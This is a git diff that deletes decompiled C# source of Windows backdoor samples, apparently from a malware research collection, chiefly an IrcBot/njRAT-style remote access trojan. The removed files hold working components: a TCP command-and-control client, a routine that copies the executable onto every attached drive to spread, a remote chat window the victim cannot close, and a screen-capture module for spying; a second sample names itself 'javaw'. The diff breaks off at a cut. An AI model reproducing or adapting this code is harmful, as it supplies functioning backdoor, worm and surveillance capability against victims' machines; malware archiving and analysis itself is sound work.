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 - O6esAIIAAAA= - - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/SocketsClient.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/SocketsClient.cs deleted file mode 100644 index 46e23c0c..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/SocketsClient.cs +++ /dev/null @@ -1,261 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.SocketsClient -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using n.My; -using System; -using System.IO; -using System.Net; -using System.Net.Sockets; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - public class SocketsClient - { - private static string response = string.Empty; - private static int port; - private static IPHostEntry ipHostInfo; - private static IPAddress ipAddress; - private static Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - private byte[] Spl; - private static int ct; - - public SocketsClient() => this.Spl = this.STB("nj-q8"); - - public void AT(byte[] D) - { - MyProject.MyForms forms = MyProject.Forms; - Form b = (Form) forms.B; - n.Delegates.T.T.appendText(ref b, ref D); - forms.B = (B) b; - } - - public event SocketsClient.onConnectEventHandler onConnect; - - public event SocketsClient.onErrorEventHandler onError; - - public event SocketsClient.onDataArrivalEventHandler onDataArrival; - - public event SocketsClient.onDisconnectEventHandler onDisconnect; - - public event SocketsClient.onSendCompleteEventHandler onSendComplete; - - public void Connect(string RemoteHostName, int RemotePort) - { - try - { - SocketsClient.client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - SocketsClient.port = RemotePort; - SocketsClient.ipHostInfo = Dns.Resolve(RemoteHostName); - SocketsClient.ipAddress = SocketsClient.ipHostInfo.AddressList[0]; - IPEndPoint remoteEP = new IPEndPoint(SocketsClient.ipAddress, SocketsClient.port); - SocketsClient.client.BeginConnect((EndPoint) remoteEP, new AsyncCallback(this.sockConnected), (object) SocketsClient.client); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent; - if (onDisconnectEvent != null) - onDisconnectEvent(); - ProjectData.ClearProjectError(); - } - } - - public void SendData(byte[] Data) - { - try - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Data, 0, Data.Length); - memoryStream.Write(this.Spl, 0, this.Spl.Length); - memoryStream.ToArray(); - SocketsClient.client.Send(memoryStream.ToArray(), memoryStream.ToArray().Length, SocketFlags.None); - memoryStream.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void Disconnect() - { - try - { - SocketsClient.client.Shutdown(SocketShutdown.Both); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - SocketsClient.client.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public byte[] STB(string Data) => Encoding.Default.GetBytes(Data); - - public string BTS(byte[] Data) => Encoding.Default.GetString(Data); - - private void sockConnected(IAsyncResult ar) - { - try - { - if (!SocketsClient.client.Connected) - { - SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent; - if (onDisconnectEvent == null) - return; - onDisconnectEvent(); - } - else - { - SocketsClient.client.ReceiveBufferSize = 99999; - SocketsClient.client.ReceiveTimeout = -1; - SocketsClient.client.SendTimeout = -1; - SocketsClient.client.ReceiveTimeout = 9000; - ++SocketsClient.ct; - new Thread(new ThreadStart(this.DDD)).Start(); - SocketsClient.onConnectEventHandler onConnectEvent = this.onConnectEvent; - if (onConnectEvent == null) - return; - onConnectEvent(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent; - if (onDisconnectEvent != null) - onDisconnectEvent(); - ProjectData.ClearProjectError(); - } - } - - public void DDD() - { - int ct = SocketsClient.ct; - MemoryStream memoryStream = new MemoryStream(); - while (true) - { - int num; - ++num; - Thread.Sleep(5); - if (ct >= SocketsClient.ct) - { - try - { - if (num > 200) - { - try - { - if (SocketsClient.client.Poll(-1, SelectMode.SelectRead) & SocketsClient.client.Available <= 0) - { - MyProject.Forms.B.Dis(); - break; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - MyProject.Forms.B.Dis(); - ProjectData.ClearProjectError(); - break; - } - num = 0; - } - if (SocketsClient.client.Available > 0) - { - byte[] numArray = new byte[SocketsClient.client.Available - 1 + 1]; - SocketsClient.client.Receive(numArray, numArray.Length, SocketFlags.None); - if (Strings.InStr(this.BTS(numArray), "nj-q8") > 0) - { - memoryStream.Write(numArray, 0, numArray.Length); - new Thread((ParameterizedThreadStart) (a0 => this.EFE((byte[]) a0))).Start((object) memoryStream.ToArray()); - memoryStream = new MemoryStream(); - } - else - memoryStream.Write(numArray, 0, numArray.Length); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else - break; - } - } - - public void EFE(byte[] B) - { - SocketsClient.onDataArrivalEventHandler dataArrivalEvent = this.onDataArrivalEvent; - if (dataArrivalEvent == null) - return; - dataArrivalEvent(B, B.Length - 1); - } - - private void sockSendEnd(IAsyncResult ar) - { - try - { - int DataSize = ((Socket) ar.AsyncState).EndSend(ar); - SocketsClient.onSendCompleteEventHandler sendCompleteEvent = this.onSendCompleteEvent; - if (sendCompleteEvent == null) - return; - sendCompleteEvent(DataSize); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - SocketsClient.onErrorEventHandler onErrorEvent = this.onErrorEvent; - if (onErrorEvent != null) - onErrorEvent(Information.Err().Description); - ProjectData.ClearProjectError(); - } - } - - public bool Connected() - { - bool flag; - try - { - flag = SocketsClient.client.Connected; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - flag = false; - ProjectData.ClearProjectError(); - } - return flag; - } - - public delegate void onConnectEventHandler(); - - public delegate void onErrorEventHandler(string Description); - - public delegate void onDataArrivalEventHandler(byte[] Data, int TotalBytes); - - public delegate void onDisconnectEventHandler(); - - public delegate void onSendCompleteEventHandler(int DataSize); - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/StateObject.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/StateObject.cs deleted file mode 100644 index 30f589fa..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/StateObject.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.StateObject -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe - -using System.Net.Sockets; -using System.Text; - -namespace n -{ - public class StateObject - { - public Socket workSocket; - public int BufferSize; - public byte[] buffer; - public StringBuilder sb; - - public StateObject() - { - this.workSocket = (Socket) null; - this.BufferSize = 1999998; - this.buffer = new byte[1999999]; - this.sb = new StringBuilder(); - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/USB.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/USB.cs deleted file mode 100644 index a3f71233..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/USB.cs +++ /dev/null @@ -1,59 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.USB -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - [StandardModule] - public sealed class USB - { - public static void USb(string S) - { - while (true) - { - Thread.Sleep(5000); - try - { - foreach (DriveInfo drive in DriveInfo.GetDrives()) - { - if (drive.IsReady) - { - if (drive.TotalFreeSpace > 0L) - { - try - { - if (!File.Exists(drive.Name + S)) - { - File.Copy(Application.ExecutablePath, drive.Name + S, true); - File.SetAttributes(drive.Name + S, FileAttributes.Normal); - } - else if (FileSystem.FileLen(drive.Name + S) != FileSystem.FileLen(Application.ExecutablePath)) - File.Delete(drive.Name + S); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/chat.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/chat.cs deleted file mode 100644 index ffbc9fb5..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/chat.cs +++ /dev/null @@ -1,317 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.chat -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using n.My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Runtime.CompilerServices; -using System.Windows.Forms; - -namespace n -{ - [DesignerGenerated] - public class chat : Form - { - private IContainer components; - [AccessedThroughProperty("T2")] - private TextBox _T2; - [AccessedThroughProperty("B1")] - private Button _B1; - [AccessedThroughProperty("Timer1")] - private Timer _Timer1; - [AccessedThroughProperty("T1")] - private RichTextBox _T1; - public static bool clos; - public string nick; - - public chat() - { - this.Load += new EventHandler(this.chat_Load); - this.FormClosing += new FormClosingEventHandler(this.chat_FormClosing); - this.Resize += new EventHandler(this.chat_Resize); - this.MaximizedBoundsChanged += new EventHandler(this.chat_MaximizedBoundsChanged); - this.SizeChanged += new EventHandler(this.chat_SizeChanged); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.T2 = new TextBox(); - this.B1 = new Button(); - this.Timer1 = new Timer(this.components); - this.T1 = new RichTextBox(); - this.SuspendLayout(); - this.T2.BackColor = SystemColors.WindowText; - this.T2.ForeColor = SystemColors.InactiveCaption; - TextBox t2_1 = this.T2; - Point point1 = new Point(12, 364); - Point point2 = point1; - t2_1.Location = point2; - this.T2.Name = "T2"; - TextBox t2_2 = this.T2; - Size size1 = new Size(450, 20); - Size size2 = size1; - t2_2.Size = size2; - this.T2.TabIndex = 2; - this.B1.FlatStyle = FlatStyle.Flat; - Button b1_1 = this.B1; - point1 = new Point(468, 364); - Point point3 = point1; - b1_1.Location = point3; - this.B1.Name = "B1"; - Button b1_2 = this.B1; - size1 = new Size(133, 23); - Size size3 = size1; - b1_2.Size = size3; - this.B1.TabIndex = 3; - this.B1.Text = "Send"; - this.B1.UseVisualStyleBackColor = true; - this.Timer1.Enabled = true; - this.T1.BackColor = SystemColors.WindowText; - this.T1.ForeColor = SystemColors.InactiveCaption; - RichTextBox t1_1 = this.T1; - point1 = new Point(12, 12); - Point point4 = point1; - t1_1.Location = point4; - this.T1.Name = "T1"; - this.T1.ReadOnly = true; - RichTextBox t1_2 = this.T1; - size1 = new Size(450, 346); - Size size4 = size1; - t1_2.Size = size4; - this.T1.TabIndex = 4; - this.T1.Text = ""; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.BackColor = SystemColors.InactiveCaptionText; - size1 = new Size(413, 233); - this.ClientSize = size1; - this.Controls.Add((Control) this.T1); - this.Controls.Add((Control) this.B1); - this.Controls.Add((Control) this.T2); - this.Name = nameof (chat); - this.ShowIcon = false; - this.StartPosition = FormStartPosition.CenterScreen; - this.Text = nameof (chat); - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual TextBox T2 - { - get => this._T2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - KeyPressEventHandler pressEventHandler = new KeyPressEventHandler(this.T2_KeyPress); - EventHandler eventHandler = new EventHandler(this.T2_TextChanged); - if (this._T2 != null) - { - this._T2.KeyPress -= pressEventHandler; - this._T2.TextChanged -= eventHandler; - } - this._T2 = value; - if (this._T2 == null) - return; - this._T2.KeyPress += pressEventHandler; - this._T2.TextChanged += eventHandler; - } - } - - internal virtual Button B1 - { - get => this._B1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.B1_Click); - if (this._B1 != null) - this._B1.Click -= eventHandler; - this._B1 = value; - if (this._B1 == null) - return; - this._B1.Click += eventHandler; - } - } - - internal virtual Timer Timer1 - { - get => this._Timer1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual RichTextBox T1 - { - get => this._T1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.T1_TextChanged); - if (this._T1 != null) - this._T1.TextChanged -= eventHandler; - this._T1 = value; - if (this._T1 == null) - return; - this._T1.TextChanged += eventHandler; - } - } - - private void chat_FormClosing(object sender, FormClosingEventArgs e) - { - if (chat.clos) - return; - e.Cancel = true; - } - - private void chat_Resize(object sender, EventArgs e) => this.fx(); - - private void chat_MaximizedBoundsChanged(object sender, EventArgs e) => this.fx(); - - public void fx() - { - try - { - this.T1.Width = this.Width - 40; - this.T2.Width = this.B1.Left - 20; - this.T2.Top = this.Height - this.T2.Height - 50; - this.T1.Height = this.T2.Top - 20; - this.B1.Left = this.T1.Width - this.B1.Width + 12; - this.B1.Top = this.T2.Top - 3; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void T2_KeyPress(object sender, KeyPressEventArgs e) - { - if (Strings.Asc(e.KeyChar) != 13) - return; - try - { - if (this.T2.Text.Length <= 0) - return; - B b = MyProject.Forms.B; - string y = IND.Y; - TextBox t2 = this.T2; - string text = t2.Text; - string str1 = API.ENB(ref text); - t2.Text = text; - string str2 = "#21" + y + str1; - ref string local = ref str2; - b.SEND(ref local); - RichTextBox t1 = this.T1; - t1.Text = t1.Text + "Me : " + this.T2.Text + "\r\n"; - this.T2.Text = ""; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void chat_SizeChanged(object sender, EventArgs e) => this.fx(); - - private void chat_Load(object sender, EventArgs e) - { - try - { - B b = MyProject.Forms.B; - string str = "#20"; - ref string local = ref str; - b.SEND(ref local); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.TopMost = true; - this.Show(); - } - - private void B1_Click(object sender, EventArgs e) - { - try - { - if (this.T2.Text.Length <= 0) - return; - B b = MyProject.Forms.B; - string y = IND.Y; - TextBox t2 = this.T2; - string text = t2.Text; - string str1 = API.ENB(ref text); - t2.Text = text; - string str2 = "#21" + y + str1; - ref string local = ref str2; - b.SEND(ref local); - RichTextBox t1 = this.T1; - t1.Text = t1.Text + "Me : " + this.T2.Text + "\r\n"; - this.T2.Text = ""; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void T2_TextChanged(object sender, EventArgs e) - { - } - - private void Timer1_Tick(object sender, EventArgs e) - { - if (!chat.clos) - return; - this.Close(); - } - - private void T1_TextChanged(object sender, EventArgs e) - { - try - { - this.T1.SelectionStart = this.T1.Text.Length - 1; - this.T1.ScrollToCaret(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/chat.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/chat.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/chat.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/sc.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/sc.cs deleted file mode 100644 index d2b31416..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/sc.cs +++ /dev/null @@ -1,151 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.sc -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe - -using Microsoft.VisualBasic.CompilerServices; -using n.My; -using System; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Windows.Forms; - -namespace n -{ - [StandardModule] - internal sealed class sc - { - private static bool _0; - private static int H; - private static int W; - private static int HH; - private static int WW; - public static Image Image; - public static Rectangle Bounds; - - public static byte[] gc(ref int Q) - { - if (!sc._0) - { - sc._0 = true; - sc.H = MyProject.Computer.Screen.Bounds.Height; - sc.W = MyProject.Computer.Screen.Bounds.Width; - } - int num; - switch (Q) - { - case 0: - num = 30; - sc.HH = 1; - sc.WW = 1; - break; - case 1: - num = 25; - sc.HH = 1; - sc.WW = 1; - break; - case 2: - num = 20; - sc.HH = 1; - sc.WW = 1; - break; - case 3: - num = 60; - sc.HH = 2; - sc.WW = 2; - break; - case 4: - num = 50; - sc.HH = 2; - sc.WW = 2; - break; - case 5: - num = 70; - sc.HH = 3; - sc.WW = 3; - break; - case 6: - num = 40; - sc.HH = 3; - sc.WW = 3; - break; - case 7: - num = 50; - sc.HH = 4; - sc.WW = 4; - break; - case 8: - num = 50; - sc.HH = 5; - sc.WW = 5; - break; - case 9: - num = 50; - sc.HH = 6; - sc.WW = 6; - break; - case 10: - num = 50; - sc.HH = 9; - sc.WW = 9; - break; - } - MemoryStream memoryStream = new MemoryStream(); - EncoderParameters encoderParams = new EncoderParameters(1); - encoderParams.Param[0] = new EncoderParameter(Encoder.Quality, (long) num); - ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg"); - sc.Gd((int) Math.Round((double) sc.W / (double) sc.WW), (int) Math.Round((double) sc.H / (double) sc.HH)).Save((Stream) memoryStream, encoderInfo, encoderParams); - return memoryStream.ToArray(); - } - - public static ImageCodecInfo GetEncoderInfo(string mimeType) - { - ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); - int length = imageEncoders.Length; - for (int index = 0; index <= length; ++index) - { - if (Operators.CompareString(imageEncoders[index].MimeType, mimeType, false) == 0) - return imageEncoders[index]; - } - return (ImageCodecInfo) null; - } - - public static Image Gd(int Wi = 0, int He = 0, bool Sh = true) - { - Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); - Graphics graphics1 = Graphics.FromImage((Image) bitmap); - Graphics graphics2 = graphics1; - Size size1; - ref Size local1 = ref size1; - int width = Screen.PrimaryScreen.Bounds.Width; - Rectangle bounds = Screen.PrimaryScreen.Bounds; - int height = bounds.Height; - local1 = new Size(width, height); - Size blockRegionSize = size1; - graphics2.CopyFromScreen(0, 0, 0, 0, blockRegionSize, CopyPixelOperation.SourceCopy); - if (Sh) - { - Cursor cursor = Cursors.Default; - Graphics g = graphics1; - ref Rectangle local2 = ref bounds; - Point position = Cursor.Position; - size1 = new Size(32, 32); - Size size2 = size1; - local2 = new Rectangle(position, size2); - Rectangle targetRect = bounds; - cursor.Draw(g, targetRect); - } - graphics1.Dispose(); - if (Wi == 0 & He == 0) - { - sc.Image = (Image) bitmap; - return (Image) bitmap; - } - Image thumbnailImage = bitmap.GetThumbnailImage(Wi, He, (Image.GetThumbnailImageAbort) null, IntPtr.Zero); - bitmap.Dispose(); - return thumbnailImage; - } - } -} diff --git a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/AssemblyInfo.cs deleted file mode 100644 index 1bed1080..00000000 --- a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/AssemblyInfo.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyTitle("javaw")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("javaw")] -[assembly: AssemblyCopyright("Copyright © 2012")] -[assembly: AssemblyTrademark("")] -[assembly: ComVisible(false)] -[assembly: Guid("8ec55a44-e40b-4225-82e0-37bca9ad82f6")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git 